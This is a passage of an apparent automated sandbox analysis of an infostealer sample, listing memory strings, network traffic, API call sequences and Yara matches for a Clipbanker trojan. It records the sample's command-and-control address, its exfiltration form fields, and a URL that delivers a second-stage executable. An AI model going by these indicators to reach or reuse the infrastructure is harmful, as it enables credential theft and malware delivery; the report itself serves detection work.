46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 46 2d 2d 0d 0a Data Ascii: ------FBKKFBAEGDHJJJJKFBKFContent-Disposition: form-data; name="hwid"769884DC54231817704571------FBKKFBAEGDHJJJJKFBKFContent-Disposition: form-data; name="build"cry------FBKKFBAEGDHJJJJKFBKF--

Source: RegAsm.exe, 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41
Source: RegAsm.exe, 00000002.00000002.2378894358.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/
Source: RegAsm.exe, 00000002.00000002.2400441478.000000002E1A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/2fa883eebd632382.php
Source: RegAsm.exe, 00000002.00000002.2378894358.0000000000F3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/2fa883eebd632382.php9a9c4a2f8b514.cdf-ms
Source: RegAsm.exe, 00000002.00000002.2378894358.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/2fa883eebd632382.phpTgHw
Source: RegAsm.exe, 00000002.00000002.2400441478.000000002E1A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/2fa883eebd632382.phpb
Source: RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/2fa883eebd632382.phption:
Source: RegAsm.exe, 00000002.00000002.2378894358.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/9e7fbd3f0393ef32/freebl3.dll
Source: RegAsm.exe, 00000002.00000002.2378894358.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/9e7fbd3f0393ef32/mozglue.dll
Source: RegAsm.exe, 00000002.00000002.2378894358.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/9e7fbd3f0393ef32/mozglue.dll9U
Source: RegAsm.exe, 00000002.00000002.2378894358.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/9e7fbd3f0393ef32/msvcp140.dll
Source: RegAsm.exe, 00000002.00000002.2378894358.0000000000F0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/9e7fbd3f0393ef32/nss3.dll
Source: RegAsm.exe, 00000002.00000002.2378894358.0000000000F0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/9e7fbd3f0393ef32/nss3.dll:
Source: RegAsm.exe, 00000002.00000002.2378894358.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/9e7fbd3f0393ef32/softokn3.dll
Source: RegAsm.exe, 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2378894358.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/9e7fbd3f0393ef32/sqlite3.dll
Source: RegAsm.exe, 00000002.00000002.2378894358.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/9e7fbd3f0393ef32/vcruntime140.dll
Source: RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41EHCB
Source: RegAsm.exe, 00000002.00000002.2378894358.0000000000EDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41U
Source: file.exe	String found in binary or memory: http://aia.entrust.net/ts1-chain256.cer01
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: file.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: file.exe, freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: file.exe	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: file.exe	String found in binary or memory: http://crl.entrust.net/ts1ca.crl0
Source: RegAsm.exe, 00000002.00000002.2397373847.00000000273A1000.00000004.00000020.00020000.00000000.sdmp, HJJDGHCBGD.exe, 00000008.00000003.2377160146.000000000284E000.00000004.00000020.00020000.00000000.sdmp, l2[1].exe.2.dr, oobeldr.exe.8.dr, HJJDGHCBGD.exe.2.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: file.exe, freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: RegAsm.exe, 00000002.00000002.2397373847.00000000273A1000.00000004.00000020.00020000.00000000.sdmp, HJJDGHCBGD.exe, 00000008.00000003.2377160146.000000000284E000.00000004.00000020.00020000.00000000.sdmp, l2[1].exe.2.dr, oobeldr.exe.8.dr, HJJDGHCBGD.exe.2.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: file.exe, freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: file.exe	String found in binary or memory: http://ocsp.entrust.net02
Source: file.exe	String found in binary or memory: http://ocsp.entrust.net03
Source: RegAsm.exe, 00000002.00000002.2397373847.00000000273A1000.00000004.00000020.00020000.00000000.sdmp, HJJDGHCBGD.exe, 00000008.00000003.2377160146.000000000284E000.00000004.00000020.00020000.00000000.sdmp, l2[1].exe.2.dr, oobeldr.exe.8.dr, HJJDGHCBGD.exe.2.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: file.exe, freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe	String found in binary or memory: http://www.entrust.net/rpa03
Source: RegAsm.exe, RegAsm.exe, 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: RegAsm.exe, 00000002.00000002.2400754407.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2390906860.000000001B384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: DBKEHDGD.2.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: RegAsm.exe, 00000002.00000002.2378894358.0000000000F3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aldiablo.cl/
Source: RegAsm.exe, 00000002.00000002.2397373847.00000000273A1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2378894358.0000000000F3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aldiablo.cl/karu/l2.exe
Source: RegAsm.exe, 00000002.00000002.2397373847.00000000273A1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2378894358.0000000000F3A000.00000004.00000020.00020000.00000000.sdmp, DAEBFHJKJEBFCBFHDAEG.2.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: RegAsm.exe, 00000002.00000002.2397373847.00000000273A1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2378894358.0000000000F3A000.00000004.00000020.00020000.00000000.sdmp, DAEBFHJKJEBFCBFHDAEG.2.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: DBKEHDGD.2.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: DBKEHDGD.2.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: DBKEHDGD.2.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RegAsm.exe, 00000002.00000002.2397373847.00000000273A1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2378894358.0000000000F3A000.00000004.00000020.00020000.00000000.sdmp, DAEBFHJKJEBFCBFHDAEG.2.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: RegAsm.exe, 00000002.00000002.2397373847.00000000273A1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2378894358.0000000000F3A000.00000004.00000020.00020000.00000000.sdmp, DAEBFHJKJEBFCBFHDAEG.2.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: DBKEHDGD.2.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: DBKEHDGD.2.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: DBKEHDGD.2.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: DAEBFHJKJEBFCBFHDAEG.2.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: https://mozilla.org0/
Source: HJJDGHCBGD.exe, 00000008.00000003.2377160146.000000000284E000.00000004.00000020.00020000.00000000.sdmp, l2[1].exe.2.dr, oobeldr.exe.8.dr, HJJDGHCBGD.exe.2.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: JJKJDAEBFCBKECBGDBFCFBKKKF.2.dr	String found in binary or memory: https://support.mozilla.org
Source: JJKJDAEBFCBKECBGDBFCFBKKKF.2.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: JJKJDAEBFCBKECBGDBFCFBKKKF.2.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV
Source: RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm
Source: RegAsm.exe, 00000002.00000002.2397373847.00000000273A1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2378894358.0000000000F3A000.00000004.00000020.00020000.00000000.sdmp, DAEBFHJKJEBFCBFHDAEG.2.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: DBKEHDGD.2.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe	String found in binary or memory: https://www.entrust.net/rpa0
Source: RegAsm.exe, 00000002.00000002.2397373847.00000000273A1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2378894358.0000000000F3A000.00000004.00000020.00020000.00000000.sdmp, DAEBFHJKJEBFCBFHDAEG.2.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: DBKEHDGD.2.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: JJKJDAEBFCBKECBGDBFCFBKKKF.2.dr	String found in binary or memory: https://www.mozilla.org
Source: RegAsm.exe, RegAsm.exe, 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/b-638e-4a92-8857-2cb5ac1d8e17?ui=en-us&rs=en-us&ad=us
Source: JJKJDAEBFCBKECBGDBFCFBKKKF.2.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/xsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZu
Source: RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: JJKJDAEBFCBKECBGDBFCFBKKKF.2.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: RegAsm.exe, 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: RegAsm.exe, 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/-
Source: JJKJDAEBFCBKECBGDBFCFBKKKF.2.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: JJKJDAEBFCBKECBGDBFCFBKKKF.2.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: RegAsm.exe, RegAsm.exe, 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: JJKJDAEBFCBKECBGDBFCFBKKKF.2.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/kZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGp
Source: RegAsm.exe, 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/vRm9ybXxwbmxjY21vamNtZW9obHBnZ21mbmJiaWFwa21ibGlvYnwxfDB8MHx

Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown

HTTPS traffic detected: 186.64.114.115:443 -> 192.168.2.4:49734 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00418AB0 GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GlobalFix,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

2_2_00418AB0

System Summary

Malicious sample detected (through community Yara rule)

Source: 8.2.HJJDGHCBGD.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 8.2.HJJDGHCBGD.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 11.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 11.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000000B.00000002.2910452418.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000000B.00000002.2910452418.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000008.00000002.2379318946.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000008.00000002.2379318946.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown

.NET source code contains very large array initializations

Source: file.exe, EVQ36EGFCMmATuYexf.cs

Large array initialization: EVQ36EGFCMmATuYexf: array initializer size 192000

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2FED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	2_2_6C2FED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C33B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	2_2_6C33B700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C33B8C0 rand_s,NtQueryVirtualMemory,	2_2_6C33B8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C33B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	2_2_6C33B910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2DF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	2_2_6C2DF280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_02B80CD8	0_2_02B80CD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2D35A0	2_2_6C2D35A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C34542B	2_2_6C34542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C315C10	2_2_6C315C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C322C10	2_2_6C322C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C34AC00	2_2_6C34AC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C34545C	2_2_6C34545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2E5440	2_2_6C2E5440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C3334A0	2_2_6C3334A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C33C4A0	2_2_6C33C4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2E6C80	2_2_6C2E6C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C316CF0	2_2_6C316CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2DD4E0	2_2_6C2DD4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2E64C0	2_2_6C2E64C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2FD4D0	2_2_6C2FD4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C300512	2_2_6C300512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2EFD00	2_2_6C2EFD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2FED10	2_2_6C2FED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C3385F0	2_2_6C3385F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C310DD0	2_2_6C310DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C339E30	2_2_6C339E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C317E10	2_2_6C317E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C325600	2_2_6C325600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C346E63	2_2_6C346E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2DC670	2_2_6C2DC670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C313E50	2_2_6C313E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2F4640	2_2_6C2F4640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C322E4E	2_2_6C322E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2F9E50	2_2_6C2F9E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C334EA0	2_2_6C334EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C33E680	2_2_6C33E680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2F5E90	2_2_6C2F5E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C3476E3	2_2_6C3476E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2DBEF0	2_2_6C2DBEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2EFEF0	2_2_6C2EFEF0
